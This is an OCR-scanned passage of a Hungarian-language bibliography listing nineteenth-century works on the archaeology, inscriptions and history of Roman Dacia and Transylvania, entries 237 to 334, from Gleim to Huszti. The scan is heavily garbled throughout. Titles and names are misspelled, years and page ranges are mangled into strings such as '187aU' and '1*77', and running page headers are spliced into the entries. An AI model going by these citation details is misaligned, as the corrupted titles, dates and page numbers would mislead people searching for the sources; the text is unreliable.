237. Gleim ( Kari Fr. — ;. Mittheilungen über einige arcliáologische Funde
auf Seiburger Hattert. — L. Archív des Vereines für siebenbürgische
Landeskunde (Hermannstadt) N. F. XI. k. (1873) 31 1—315. 1.
238. Gooss (Carl — ). Arcliáologische Analekten. — L. Archív des Vereines
für siebenbürgische Landeskunde (Kronstadt) N. F. IX. k. (1870) 33 —
63. 1. —XII. k. (1874) 167—175. 1.
239. — Arcliáologische Analekten. I. Fortsetzung. — L. Archív des Véreim*
für siebenbürgische Landeskunde (Hermannstadt) N. F. XI. k. (1873)
98 — 117. 1. — Lenyomata a következő czím alatt: Beitrage iur
siebenbürgisclien Alterthumskunde. Hermannstadt, 1873. 8r. (Ismer-
tette: J. II. Schwicker, Ungarischer Lloyd [Budapest] 1875. évi'.,
46. sz. [a reggeli kiadás tárczájában] 1 — 2. 1. ; Detlefsen, 1. Bursian,
Jahresbericht über die Fort.se/iritte der classischen Alterthumswissen-
schaft [Berlin] II— HL évf '. [1874—1875] 4. k., 2 osztály, 222
223. 1. — L. Detlefsen 162. sz.)
240. — Studien zur Geografie und Geschichte des Trajanisehen Daciens. —
L. Programm des evangelischen Gynmasiums in Schassburg zum Schluss
des Schubjáhres 187aU (Hermannstadt, 1874. 8r.) 5 — 77. 1. Lenyo-
matai/, a. czím alatt, Hermannstadt, 1874. 8r. (Ismertetve: Ortvay-
Szentkláray, Történelmi adattár Csanád- egyházmegye hajdanához és
I., Gooss, 241 246. 27
jelenékez [Temesvár] 1874, évf. [IV. k.j 189 190. 1. Ortvay-tól. és
ugyancsak tőle : Archaeologiai Értesítő Budapest í\. k. 1875
241 249,276 282. l.;J.H. Schwicker, Ungarischer Lhyd Buda-
pest] 1875. évf., Ili. bz. [a reggeli kiadás tárczájában I 2. 1. :
Detlefsen, 1. Bursian, Jahresbericht öber die Fortschritte der classi-
schen AUerthumswissenschaft [Berlin] II — III. évf. [ 1 871- — 1875
í. k., 2. osztály, 220 222. 1. — L. Detlefsen 162. sz.)
241. Untersuchungen über die Innerverháltnisse des Trajanischeu
Daciens. — L. Archív des Veretne* für siebenbürgische Landeshinde
(Hermannstadt) N. F. XII. k. (1874) 107—166. 1.
242. — Chronik der archáologischen Funde Siebenbürgens. lm Auftrage
des Vereins für siebenbürgiscbe Landeskunde zusamniengestellt.—
L. Archív des Vcreines für tlebenbürgisclie Landeskunde (Hermann-
stadt) N. F. XIH. k. (187G) 203—338. 1. —Lenyomata u. a.czíw
alatt, megtoldva a következőkkel: Festgabe des genannten Vereins zur
achtcn Versarmnlung des internationalen ( 'ongresses für vorgeschicktliche
Anthropologie und Archaologie in Ofenpest. Hermannstadt, 1876. 8r.
243. — Skizzen zur vorrömischen Culturgeschichte der mittlern Donau-
gegenden. — L. Archív des Vcreines für siebenbürgüche Landeskunde
(Hermannstadt) N. F. XHI. k. (1876) 407—537. 1. és N. F. XIV. k.
1877) 17 — 175. 1., elszórva. (Ismertette : Detlefsen, 1. Bursian, Jah-
resbericht über die Fortschritte der classischen Alterthumsicissenschaft
[Berlin] V. évf. [1877] 11. k., 3. osztály, 289—290. 1.— L. Detlefsen
162. sz.)
244. — Zu Corpus Inscriptionum Latinarum III. Dacia. — L. Conze —
Hirschfcld, Archaeólogisch-epigraphische Mittheilungen aus < )esterreich
(Wien)Ik. (1877)30—35, 113—125. Lós u. o.,m.k. (1879) 191.1.
215. — Bericbt über die von Fráulein Sojie von Tonna in der Sitzung der
historiscben Section des Vereins für siebenbürgische Landeskunde
im August 1877 ausgestellte Sammlung prahistorischer Funde.
L. Archív des Vereines für siebenbürgische Landeskunde (Hermann-
stadt) N. F. XIV. k. (1877) 592—024. 1. Lenyomata követi
czím alatt: Bericht über Fráulein Sqfievon Torma'* Sammlung prii-
historischer Alterthümer aus dem Maros- und < 'serna-Thal Siebenbür-
gens. Hermannstadt, 1878. 8r. (Ismertette: Finály, Erdélyi Múzeum
1870. [VI.] évf., 03— 94. 1.)
24G. — Die römische Lagerstadt Apulum in Dacien. -- L. Programm des
L, Gooss-Griselini, 247—254.
evany. Gynmasiums in Schassburg und der damit verbundenen Lehr-
Anstalten IS/Ys. (Schassburg, 1878. ív.). Lenyomata w. a. czim
alatt, Schiissburg, 1878. ír. (Ismertette: Finály, Erdélyi Múzeum
IS7S. Y. évf., 237— 23S. 1.)
247. —Dacia. - L. Benndorf-Hirschjeld, Archaeologisch-epigraphischi Mit-
theilungen atis Oesterreich (Wien) TI. k. (1878) 81.1.
24-8. Neuere archáologische Funde aus der römischen und Völkerwand-
rangszeit Siebenbürgens. — L. Korrespondenzblatt des Vereines für
siebenbürgische Landeskunde (Hermannstadt) J. (1878) évf., 7. szám,
$2- 85.1.
240. Xeuere archáologische Funde aus vorrömischer Zeit. -- L. Kor-
respondenzblatt des Vi n ines für siebenbürgische Landeskunde (Hermann-
stadt) I. (1878) évf., 9. sz., 98—99. 1.
250. Kivonat «Die etlmograpliische Stellung der Daken und ibre erhal-
tenen Spraehreste* czímű művéből. -- L. Korrespondenzblatt des
Vereines für siebenbürgische Landeskunde '.(Hermannstadt) I. (1878)
évf., 9. sz., 103 — 104. 1. (Generalversammlung des Vereines í.
sieb. Landeskunde, abgehalten zu Schassburg am 23. und 24.
August 1878.)
251. — Egy várhelyi római fogadmányi oltár töredékének feliratát ismer-
teti. — L. Korrespondenzblatt des Vereines für siebenbürgische Landes-
kunde (Hermannstadt) I. (1878) évf., 10. sz., 111.1. (Sektionssitzun-
gen des Vereines für sieb. Landeskunde, abgehalten zu Schassburg
am 21. August 1878).
252. Gori (Antonius Franciscus — ). Columna Trajana exhibens históriám
utriusque belli Daciei a Trajano caesare augusto gesti, &b Andrea
Morellio adcurate delineata et in aere incisa, nova descriptione et
observationibus inlustrata. Amstelaedami, 1752. ívr. s mint a
Thesauri ~Morelliani numismata III. kötete nyomatva.
- L. Donius 164. sz. és Hagenbuch 265. sz.
253. Grimm (Jacob — ). Geschichte der deutschen Sprache. Dritte Auflage.
Leipzig, 1868. 8r. — I. k., 121—151.1. (Geten, Daken, Thraker),
• 05- -325. 1. (Gothen, Bastarnen, Gépiden.)
254. Griselini ( Franz — ). Versuch einer politischen und natürlichen Ge-
schichte des TemeswarerBanats, in Briefen an Stapidespersonei] und
Gelehrte. Wien, 1780. ír. 2 k. —Elszórva, főleg : I. k., 1—8, 243
262, 263— 301.1. — II. k., 61 62, 87—83, 101, 108—112, 113.1.
I., Grosz-Hoffinger— Gruterus, 255—258. 29
255. Grosz-Hoffinger (A. I. ■ Römische Denkmale in Siebenbürgen.
L. GeschichU der österreichischen Lander, Völker, Staaten und /.'•
ten. Mmeen und Leipzig, 1834. 8r. - 1. k., 337 340. l.(Archiv. V.
t2r»r>. Grotefend ft '. I.. — ). Epigrapbiscb.es. I. Kin Stempel einee römi-
schen Augenarztes. Hannover, 1857. 8r. — 5 — 11. 1. (Válasz Ütoüs
Ágostonnak a Mittfieilungen der k. k. Central- Commüsion zur Er/or
schvng und Erhaltung der Baudenkmale Wien] II. k. [1857 2í7. 1.
tett kérdésére. L. Ötvös 582. sz.) - 'Lenyomata következő czím
alatt : Stempel eines römischen Augenarztes, Mittheilungen der k. k.
Central- Commission tur Erforschung und Erhaltung der Baudenkmale
(Wien) III. k. (1858) 51—53. 1. (Apnlumi lelet).
257.— Die Stempel der römischen Augeniirzte. Hannover. 1 x « i 7 . 8r. —
±2 24. 1.
258. Gruterus (Janus — . Inscriptiones antiquae totius orbis Romani, in
corpus absolutiss. redactae. Cum Indicib. XXV. ingenio ac cura — :
auspiciis Jos. Scaligeri ac M. Veheti. Accedunt notae Tyronis I
ronis 1. ac Senecae. (Heidelberg, 1603) ex officina Commeliniana.
ívr. (2-ik javított ? kiadása Graevius János Györgytől [voltaképen
Burmann Pétertől Amsterdamban, 1707. ívr. jelent meg 4 kötet-
ben). — Előszó (Ad lectorem) 2, í, 6. oldal. Továbbá: 2. 1 1 : 3, 2 ;
4, í és S: 5, 3—4; 6, S— G : 7, 2 ; 8, 1 ; 10, 3; 11. 3: 12, »',— 7 ;
14, 6; 15, 1 ; 16, 16; 17. 9; IS. 7; 19, 5: 21, 8; 23, 3 í és 10;
24, 10; 26, 6: 20. 3 és 5; 32, -2; 33, 3 ; 34-, 3 és 10; 37. 11 ; 39,
8 ; 40, 5. 8. 13 és 1 5 : 15, I 1 : 46, 1 és 3 ; 47, 1 1 ; 51 >. 7 : 52, 8 : 53,
15; 57, 5; 00. 7: 67, 1 és 9—10; 08. 6; 69, 3— 4. 6- 7 és 9 -10;
73, 4. 8 és 10—1 1 : 74, 5 : 77, 5 : 78, 1—2 : 80, 1. 4. és 8 ; 81, 7;
83, 1 ; 85, 9; 88, 13; 89, 11 ; 90, 4: 94, 1—2; 95. 1 ; 97. 1 ; 98,
10; 99, 7; 102, l; 103,3és5; 105, 10; 106, I ; 108,2; 109,5;
110, 1 ; Ili, 0: 115, 6; 162, 6 (és nem mint nyomtatási hibából
áll 9); 163,6; 171, 2-3; 177, 3: 180, 3; 195,5; 248, 4 és 7 ;
249, i : 252, 1 (de ez Róma városi); 254, 1 és 5 : 257. 1 ; 259, 3 és
7—8: 260, 12—13: 266, 2: 272.2: 332. 2 és 7 ; 345,3 és 9;
346, 2—5 és 7 : 347, 2 és 4 ; 349. (i; 354, 5 (voltaképen sarmize-
getusai); 358.5: 371, 3 és 5; 387,4; 394, l és 7 ; 399, 6; WO,
1; 408,3: 413,2; 11 i. 5 7: H5, 10 (voltaképen sarmizegetu-
sai); 125, 5 és 8; Í2ü. 1 ; 133,2; 437,1; 442,8; W8, 3; 165,
2: 467,6; 472, 3 (voltaképen apulumi) és 1 — 5; 47ii. ti; 477. 3;
30 I., Guido— Hajnal, 259-266.
ISI, 5 ; 182, 1 ; 188, 1 ; 489, 6 ; 517, 5 és 11 ; 497,16 ; 198, 2 ; 517,
:. ; 518, 6 ; 523, 9 ; 520, 4 ; 528, 8 ; 530, 3 ; 531 , 5 ; 537, 1 ; 540, 5 :
547, '.i ; 562, 7 ; 566, 1 ; 570, 4; 575, 1 ; 586, 2 ; 594, 7 ; 601, 9 ;
608, 5; 625, 3; 686, 9; 687, 12; 092, 11 ; 695, 8; 742, 7; 744,'
6; 75S, 7; 767, 7; 768, 1; 801, 6; 805, 1 ; 812, 5; 860, 10—11 ;
873, 15; 898, 16; 900, 4; 914, 8; 930, 12; 933, 12; 935, 14;
1006, 1.
Guido. — L. Anonymus Ravennas 615. sz.
259. Gyurits ( Antal). Szatmármegyebeli haj dánkor i régiségek. — L. A szat-
mári kath. kir. fogynmasium 1877— 78. évi értesítője (Budapest, 1878.
8r.) 3—1 4.1.
H.
2<Í0. Haakh (Adolf — ). Decebalus. — L. Pauly, Reál- Encyclopadie der clas-
siscJien Altei'thumswissenschaft (Stuttgart) II. k. (1842) 871— 872. L
2fil . H an ( Lajos). Békés-Csaba mezővárosa hajdanáról s mostani állapot-
járói. 2-ik kiadás. Pest, 1866. 8r. — 6—7. 1.
262. Békésvármegye hajdana. Pest, 1870. 8r. — I. k., 7—14. 1. (Ismer-
tette : Pesty Frigyes, Századok, a magyar történelmi társulat köz-
lönye [Pest] IV. [1870.] évf., 165—478. 1.)
263. - A békésmegyei múzeumban lévő némely kő és bronzkori tárgyak
ismertetése. — L. A békésvármegyei régészeti és mívelödéstörténelmi
társulat évkönyve (B.-Gyula) II. k. (1876) 34—42. 1.
264. — A békésmegyei múzeumi néhány érdekesebb agyag-, érez-, kő- és
csontnemüek ismertetése. — L. A békésvármegyei régészeti és míve-
lödéstörténelmi társulat évkönyve (B.-Gyula) III. k. (1878) 48 —
57. lap.
265. Hagenbuch (Jo. Gasp. — ). Epistolae epigraphicae. Tiguri, 1747. 4r.
8. lap (Bouhierii übservationes ad monumenta quaedam
antiqua); 17. 1. (Joanni Bouhierio J. Gasp. Hagenbuchius) ; 45-2. 1.
[Aat, Francisco Gorio •/. Gasp. Hagenbuchius); 466. 1. (Joh.
Gasp. Hagenbuchio Ant. Franciscu-t Gorius.)
— L. Orelli 552. sz.
266. Hajnal István). A tarhosi pusztán ásott régiségekről. — L. .1 békés-
vármegyei /< tzeti és mívelödéstörténelmi társulat évkönyve (B.-Gyula)
III. k. (1826) 130 132. 1.
r
I., Halaváts— Harduinus, 267- 279. 31
267. Halaváts Gyula). Baniai őstelep. — L, Archaeologiai Értesítő (Buda-
pest) XII. k. (1878) 356. 1.
268. Haliczky Antonius J és Jac. Ferdin. Miller >U /,'/•«.«<,. Sexagena
inscriptionum qnae ex monumentis romanis in horto musei natio-
nalis Hungarici publice expositis transumtae sunl per Antóniám
Haliczky, interprete Jac. Ferdin. Miller de Brassó. — L. Acta litte-
raria musei nationalis Hungária- (Buda) I. k. (1818) 2<is 210,
212, 213. 1.
^(i1.1. Némely római emlékkövekről. — L. Tudományos Gyűjtemény (Pest)
1824. évf., TY. k., 8— 12. 1.
27<>. Észrevételek Dálnoky Márton levelére a római régiségekről. -- L.
Tudományos Gyűjtemény (Pest) 1824. évf., X. k., 37 — 10. 1.
271. Hallbauer ( M. Fried.Andr. — ). Einleitnng in die nützlichsten Ubun-
gen (így) des Lateinischen Stili. Jena. 1 7^7. 8r. — 594- -595. 1.
272. Hammer (Joseph de —). Mémoire sur le culte de Mithra son origine
sa nature et ses mystéres. Paris. 1833. 8r. — *7 94. 1.. VIII—
XIII. sz. és a megfelelő táblák.
273. Hampel ( József). Római éremlelet (M. -Bándon). — L. Archaeuluyiai
Értesítő (Budapest) VII. k. (1873) 26—27. 1.
274. — A magyarhoni bronzkardokról. — L. Archaeologiai Értesítő (Buda-
pest) XI. k. (1877) 46, 19, 51, 54—55. 1. és a 16. ábra.
275. Magyarhoni régészeti leletek repertóriuma. Első közlemény. — L.
Archaeoloyiai Közlemények (Budapest) XII. k. (1878) 131 — 132.1.
és az 1 . (s tán a 2.) sz. ábra ; 132. 1. és a 4. sz. ábra ; 133 — 1 34-. 1.
és a 6. a, b sz. ábra. (Elejét 1. Ipolyi 337 és Rómer 633. sz. i
276. - Magyarhoni őskori leletek külföldi gyűjteményekben. — L. Archaeo-
logiai Értesítő (Budapest) XII. k. (1878)329, 331. 1. (Zürich) ; 376. 1.
(British Museum) ; 379 — 380. 1. (Evans gyűjteménye Nash Mills-
ben, London mellett).
277. - Magyarhoni őskori leletek a bécsi csász. kir. régiséggyűjteményben.
L. Archaeologiai Értesítő (Budapesti XIII. k. (1879) 132- 137. 1.
L. még: 71'. rész, 28, 29. sz.
— — L. Reissenberger 622. sz.
278. Hansiz ( Marcus — ). Germán ia sacra. Augustae Vindelicorum, 1727.
4r. — I. k., 36—37. 1.
279. Harduinus (Joannes —). Nummi antiimi populorum et urbium illu-
strati. Paris. 1684. ír. 128 131.1.
32 I., Haubold— Henszlmann, 280—290.
280. Haubold (Christ. Gottl. ■). Juris romani testimoniis de militum
honesta missione quae in tabulis aeneis supersunt illustrati Bpe-
cimen (Scripsit et illustris iurisconsultorum ordinis auctoritate
praeside — ad disputandum proposuit Theodorus Alexander Platz-
mann). Lipsiae, 1818. 4r. — 9. és XIY— XV. 1., VIII. tábla. (Tulaj-
donképen azonban nem Platzmann, hanem Haubold műve. Span-
genberg is ebből vette a maga kiadványát., v. ö. Platzmann 599. sz.
és Spangenberg 721. sz.)
281. — Opuscula academica (Wenckée Stieber kiadása) .Lipsiae, 1825 — 1820.
8r. II. k., 793—794. 1., VII. sz. és 804—865. 1., VII. sz. (az előbbi
műnek 2-ik kiadása).
282. Haupt (Josep h — ). Die dakische Königs- und Tempelburg auf der
Columna Trajana. — L. Mittheilungen der k. k. Central-Commission
zur Erforschung und Erhaltung der Baudenkmale (Wien) XV. k.
(1870)111 — 144. 1. Lenyomata u. a. czim alatt, Wien, 1870. ír.
(Bírálata: E. .S'.-től, Zarncke, TMerarisches Centralblatt für Deutsch-
land [Leipzig] 1872. évf., 27. sz., 713—714. 1.)
283. Hausmann ( Vilmos j. A Töpej Ürmösnél. — L. Kolozsvári Közlöny
1863. évf., 142 sz., 600. L; 143. sz., 604. 1. (tárcza).
284. Heltai (Gáspár). Chronica az magyaroknak dolgairól. Kolozsvár,
1575. ívr (első kiadás). — 3. 1.
285. Hemmen ( Ferencz). Ü-Arad. — L. Orthmayr — Szentkláray, Történelmi
adattár < 'sanád- egyházmegye hajdana és jelenéhez (Temesvár) I. k.
(1871) 98. 1. (Plébániák tára. IV.)
286. Hene f Franz Xav. — ). Beytráge zur tlacischen Gescbicbte. Hermann-
stadt, 1836. 8r. (Ismertette: Wenzel Gusztáv, Jahrbücherder Litera-
tar [Wien] CX. k. [1845] 237—246. 1. — CXI. k. [1845] 81—81. 1.)
287. Henszlmann (Imre). Die Alterthüiner von Osztropataka. — L. Mit-
theűungen der k. k. Central-Commission zur Erforschung and Erhal-
tung der Baudenkmale (Wien) XI. k. (1866) 50 — 51. 1.
288. — A magyarországi legújabb régészeti fölfedezések. — L. Vasárnapi
Újság (Pest) 1866. évf., 17. sz., 108—199. 1. (IV. Római kori régi-
ségek.)
289. — A régi hadi épitészet Magyarországon. — L. Vasárnapi Újság i Pesl |
1867. évf., 3 sz., 29. 1. ; 4. sz., 41—42. 1. ; 5. sz., 54. 1. ; 6. sz., 63. 1.
1' Ki. — Die neuesten archáologischen Entdeckungen in Ungarn. — L. Eiedl,
Ungarische Bevue (Leipzig und Wien) 1869. évf., 121 — 125. 1.
I., Henszlmann— Henzen, 291 -299.
291. Báos. L. Archaeologiai Értesítő (Pest) IV. k. (1870) 7 8, 31. 1.
292. Archaeologiai kirándulás Csanádra. I.. Archaeologiai Közleménye)
(Pest) \ III. k. (1871) ::. i, 5, 6, 7. 9, 15, 16. 1.
293. — Die Grabungen des Erzbischofs von Kalocsa Dr. Ludwig Haynald.
Leipzig, 1873. 4r. — 12, 15, 16, 17. 18, 208, -1±1. 1.
•J'.'í. Magyarország ó-keresztyén, román »;s átmenei stylü mű-emlékeinek
rövid ismertetése. Budapest, 1S7D. ír. 10.1., 1) jegyzet; 12, 13,
I \. 39. 1.
295. — L'áge du fer. Étude sur l'art gothique. — L. Congrés internatiönal
d' anthropologie et d'archéologie préhistoriques. Compte-rendu de In
huitiéme sessiom á Budapest 187 6 (Budapest, 1877.8r.)506 -508,508 —
509, 518—51H. 526, 528, 531, 532. 1. 38. ábra, 540. 1. és rövidlete
a következú' czím alatt: A góih művészet és műipar (Henszlmann
Imre félolvasásából az őstörténelmi congressus ülésén). — L. Jókai,
Életképek (Budapest) 1876. (I). évi'., 84. sz., 74-5— 746. 1. : s : A csé-
szetartó szobrok, it. o., 95. sz., 840 — 841. 1. egy ábrával a 839. lapon.
(Petrósai lelet). — Henszlmann idézett franczia közleményét megelőz-
ték a következők : Tanulmányok a góthok művészetéről. — L. Magy.
tud. akadémia, Értekezések a történelmi tudományok köréből. II. osztály
(Budapest) ül. k., 6. sz. (1874) 8—14. 1. és : Zur Kunst der Gothen.
— L. Mittheilungen der k. k. Central- Commission zur Erforschung nn<l
Erhaltung der Baudenkmale (Wien) XIX. k. (1874) 130—134. 1.
L. még: IV. rész, 3, 4, 23, 27. sz.
296. Henzen ( Wilhelm — ). Titolo rinvenuto a Turnu fortezza turca del
museo del sig. principe Ghika. — L. Bullettino delV Instituto di cor-
risspondenza archeologica (Roma) 1844. évi'., 5. f., 90. 1. (V. ö. Mit-
theilungen des historischen Vereinesfür Steiermark [Gratz] 1853. évi'..
4. f., 207—208. l.i
2íi7. — Diploma militare di Domiziano di Ennyed. — L. Bullettino deli'
Instituto di corrispondenza archeologica (Roma) 1847. évi'., 5. f., 91. 1.
(V. ö. u. o., 1847. évi'.. ::. a. f., 34 1.)
298. — Monumenti di Transilvania comunicati dal sig. cav. Neigebaur. -
L. Bullettino deli' Instituto <U corrispondenza archeologica (Roma)
1847. évf., 6. f., 102—103. 1.
299. — Zwei Militárdiplome der Kaiser Domitian und Hadrian. I. — L.
Jahrbüclier des Vereins von Alterthumsfreunden im Rheinlande (Bonn)
XIII. k. (7. évf., 1848) 26—62. 1.
Repertórium. Q
34 I, Henzen, 300-309.
300. Escrizione latina di Giove Taviano ; és : Iscrizione latina d'un ool-
legio de' Galati nella Dacia. — L. Bullettino deli1 Instituto di cor-
rispondenza archeologica (Roma) 1848. évi'.. 2. f., 21—22. 1.
301 . — Diplomi militari degli imperátori Domiziano ed Adriano. — L.
Bullettino delV Instituto di corrispondenza archeologica (Roma) 1848.
évf., 2. f,, 24 28.1.
302. — Scavi di Gerend (Grediste helyett) nella Transilvania, intrapresi
dal sig. cav. Neigebaur. — - L. Bullettino deli' Instituto di corrispon-
denza archeologica (Roma) 1 848. évf., 3. f., 33 — 34.1.(V.ö. w.o.,36.1.)
303. — Iscrizione latina sacra alT Adrastia (Mikházáról). — L. Bullettino
deli' Instituto di corrispondenza archeologica (Roma) 1848. évf.,
1, f., 56. 1.
304. — Iscrizione latina di Sarmizegetlmsa, copiata dal sig. eav. Neigebaur.
L. — Bullettino deli' Instituto di corispondenza archeologica (Roma)
1848. évf., 5. f., 75—70. 1.
305. — Antichitá della Transilvania. — L. Bullettino deli' Instituto di cor-
rispondenza archeologica (Roma) 1848. évf., 9. f., 129—135.1.; 10. f.,
152—158. 1. ; II. f., Kii— 106. 1. ; 12. f., 177-189. 1. (Német fordí-
tását 1. : Archiv des Vereines fiir debenbürgische Landeskunde ["Her-
mannstadt] N. F. I. k. [1853] 1—29. 1.)
300. — Iscrizione relativa a' canabenses. — L. Bullettino delV Instituto <li
corrispondenza archeologica (Roma) IS.')], évf., 2. f., 31. 1. és 9 — 10f.,
154—155.1.
307. — Die lateinische Epigraphik und ilire gegenwártigen Zustánde. — L.
Allgemeine Monatsschrift fiir [Vissenschaft und L/iteratur (Braun-
8chweig) 1853. évf., 100. 1.
308. — Diplomi militari degl' imperátori Traiano ed Antonino Pio. — L.
Monumenti Annali >■ Bullettini i>iil>l>licati dall1 Instituto di corris-
pondenza archeologica (Roma) 1855. évf., 20 — 38. 1. (Német fordítását
közölte Ackner, Archiv <!<■>< Vereines für siebenbürgische Landeskunde
[Kronstadt! N. F. IY. k., 1. f., 109—134. 1. — L. Ackner 25. sz.)
300. — Inscriptionum Latinarum selectarum amplissima collectio ad illu-
strandam Romanae antiquitatis disciplinam accomodata. Volumen
tertium collectionis Orellianae supplementa emandationesque ex-
hibens. Turici, 1856. 8r. — Mint </: Orélli-félék pótléka és javítása :
82, 812; 86, 846; 87, 866; 98, 938; 129,1285; 118,1580; 150,
1748; 160, 1 820 és 1835 ; 180, 2171 ; 335, 3376 ; 347, 3151 ; 372,
Henzen— Hodor, 310—317.
3575; H6, 3826; í-94, 509. Henzen-félék : 5280 (?), 5285,5433,
5179,5481, 5521, 5633, 5654, 5715, 5720, 5735,5746, 5756
5792, 5803, 5813, 5838, 5848, 5984, 6087, 6357, 6609, 6627, 6654,
6719 6721, 6802,6858a., 6917 6920, 6932, 7012, 7071,7100,
7199, 7202 7203, 7238. sz. A Henzen-f élek pótléka és javítása
í-98, 5521 : 521, 6858 a. és (üti!). (L. Orelli 552. az.)
310.- Diploma nxilitare d'Adriano. - L. Awnali deli' Instituto di corris-
pondenza archeologica (Roma) XXIX. k. (1857) 5 35. 1.
311. — Iscrizione onoraria d'Adriano. L. Annali deli' Instituto <H cor-
rispondenza archeologica (Roma) XXXIV. k. (1862) 148—149,
151 156. 1.
— — L. Ackner '.) és 10. sz.
312. Hermáim ( Ottó). Gróf Eszterházi Kálmán vlegyászai expeditiója. -
L. Magyar Polgár (Kolozsvár) 1867. (I.) évf., 42. sz.. 172. 1. (tárcza).
Zsoboki római régiségek.
313. Hildebrand ( H'ans - ). Sur les rapports existant entre l'áge du Kronze
de la Hongrie et l'áge du bronzé scaudinave. — L. ( 'ongrés interna-
tional d' ' anthropologie et d' archéologie préhistoriques. ('ni/i/itr rendű </<
la ;v session, Stockholm, ls74. (Stockliolm, 1870). —I. k., 537, 546,
548, 549, 550. 1. (v. ... :.i:>. 1., 13. ábra).
314. Hirschfeld ( <ht<> — J és Ottó Benndorf. Vorláufiger Bericbt über eine
archaeologisch-epigraphische Reise in Dacien. — L. Mittheiluntien
der k. k. Central- Comtnission sur Erforschung mul Erhaltung der
Baudenkmale(Wien) XVIII. k. (1873) 328—330. 1.— Lenyomata m. a.
ezim alatt, Wien, 18? I . $r.
315. - Bpigrapbiscbe Nachlese zum Corpus Inscriptionum Latinarum
vol. III aus Dacien und Moesien, — ■ L. Sitzungsberichte der phil.-
hist. Classe der kaiserlichen Akademie <I>t Wissenschaften (Wien)
LXXVII. k. (1874) 363 101, 108, 110 H2, tl3 — 417,421, 122
123, 424-^429. 1. — Lenyomata u.a. czím alatt, Wien, 1*71. Sr. [s-
mertette: Ortvay, archaeologia Értesítő Budapest IX. k. 1875
20—29. 1.)
:!l(i. Hodor i Karóig). Doboka vármegye természeti és polgári esmértetése.
Kolozsvár, 1837. 8r. 532 ").'!.'). 1. (Romlotton lelt római felír
síremlék).
317. Kolozsvár ismertetésére valami.— L. Toldalék (a) Múlt és Jelenhez
(Kolozsvár) 1843. évf., 62. sz... 249 250. 1. (Aláírva : //. A'.)
3
36 _JL, Hoffinger— Hunfalvy, 318-329.
ül ^. Hoffinger. Beschreibung eines zu Scbidowin entdeckten Alterthums.
Mit Kupfern. — L. Neue* Ungrisches Magazin (Preszburg) II. k.,
2. f. 1 1 792) 97 — 100. 1. ; és : Bescbreibung des Plans, welcher über
die hu Jahre 1 783 in Scbidowin entdeckten Alterthümer, von dem
k. k. Kameralingenieur Herrn von Braun gezeichnet vrarde, ". o.,
101-107. 1.
310. Hohenbausen (Sylv. Joseph Báron von ). Die Alterthümer Daciens
in dem beutigen Siebenbürgen. Aus den Zeiten, als dieses acböne
Land die Römer regierten. Wien, 1775. 4r. (Kézírati csinos máso-
lata, de a rajzok nélkül, az erdélyi múzeum kézirattárában).
320. Hőké (Lajos). Hazai őstörténelmi nyomok. (Óriás lépések; ős- és bar-
bárkori földvárak, árkok, temetők). — L. Pesti Napló (Budapest)
1876. (XXYII.) évi., 227. sz. (a reggeli kiadás tárczája.)
321. — A barbárkori földvárak és árkok.-- L. Pesti Napló (Budapest)
1876. (XXYII.) évf., 229. sz. (a reggeli kiadás tárczája.)
322. — Gall földvárak és temetők Magyarországon. — L. Jókai, Életképek
(Budapest) 1876. (I.) évf., 140. sz., 1235. 1.
323. — Hollósy ( Flóris). Petrozseny (jobban Petrosány) és Zalatbna közt
lelt római feliratos kő. — L. Archaeologiai Értesítő (Pest) VI. k.
(1872) 255. 1. — (V. ö. h. o., 253. 1., 3. sz.)
324. Horvát f István). A jászokról mint toxotákról, j ónokról, pannonokról,
pelasgusokról, paeonokról és bellenekről. — L. Tudományos Gyűj-
temény (Pest) 1830. évf., VIII. k.. 13—16. 1.
325. — A várbelyi régi lovag. — L. Tudományos Gyűjtemény (Pest) 1836.
évf., IV. k., 114— 115. 1.
326. — A szlavinokról, az az kérkedőkről, a trójai bábomtól első Justini-
ánus császárig. Pest, 1844. 8r., elszórva.
327. Hübner (Aem. — ). Quaestiones onomatologicae latináé. — L. Ephe-
meris Epigraphica, Corporis Inseriptionum Latinarum supplementum
(Romae-Berolmi) II. k. (1875) 31, 34, 39, 43, 54, 56, 57, 58, 59, 61,
62, 63, 68, 70, 75, 76, 85. 1.
328. Hugó i /'. — ). Römiscbe Urkunde auf mit "Wacbs überzogenen Tafeln.
— L. Göttí/ngische gelehrte Anzeigen. 1841. évf., 148. d., 1465 — 1472. 1.
— (V. ö. Massmann 458. sz.)
329. Hunfalvy (János/. Magyarország és Erdély eredeti képekben.- Darm-
stadt. ls:,0— 1864. 8r. — H. k., elszórva, főleg: 22, 36, 44, i9,
55—56, 133—134. 1.
I., Hunfalvy —Ipolyi, 330—336. 37
330. Hunfalvy ' l'ái i. A •■ Sicbcnbür^oii » országnévről, s általában az erdé-
lyi helynevekről. (Roesler lí. után.)—- L. Nyelvtudományi Közle-
mények iPest) VI. k. (1867) 21 í 216. 1.— (L. Roesler 631. bz.)
331. Magyarország ethnographiája. Budapest, 1876. 8r. 52 -195.1.
elszórva ; főleg : 70—72, 73,74, 78, 80 86, 89,9) 94,96, 103,
105, 106, 119, 123, 124, 129, 129—130, 139, 145, 146, 147, 172—
17::, 192 — 193, 194, 195.1. Német nyelvre fordítva következő czím
alatt : Ethnographie vonUngarn. Budapest, 1877. 8r.J. //. Schwicker-
fcől. — (Az eredetit ismertette : A'.. Századok, a magyar történelmi tiir.su-
lat közlönye Budapest] X. k. (1876) 734 7:!'.i 1. ; a német fordítást
pedig: Asbóth, Deutsche Rundschau 1*77. évf., IV. k., 1. f. ; Katscher,
Blatter för literarische Unterhaltung 1877. évf., 41. sz. ; Zarncke,
Literai'isches Centralblatt für Deutschland Xeipzig] 1878. évf.. í sz.)
332. — Üj tudományok új előítéletek meg adalék a finn-ugor népek törté-
neteihez.— L. Nyelvtudományi Közlemények (Budapest) XIV. k.
(1878) 17. i!i— 50, 51, 57, 58, 59.1.
— — L. Cuno 142. sz.
333. Huschke ( Ph. E. — ). Ueber die in Siebenbürgen gefundenen lateini-
schen Wachstafeln. — L. Savigny, Zeitschriftfür geschichtliche Rechts-
mssenschqft (Berlin) XII. k. (1845) 173—220. 1.
334. Huszti (András), o és újj Dácia az az Erdélynek régi és mostani
állapotjárói való história, a melyben elé adattatik ennek az ország-
nak régi és mostani lakóssainak eredete, nevekedése és némelyek-
nek elenyészése, a magyar királyok, vajdák és fejedelmek alatt való
állapotjávaJ egybe, melyet mutató táblával megbővítvén a maga
költségén kiadott Diénes Sámuel. Bécsben, 1701. 8r. — 1 — 60. 1.
(Huszti e művének Szilágyi Mihály, n.-eiryedi diák által 1 753-ban
ir.-hen vett másolata az erdélyi múzeum kézirattárában : egy má-
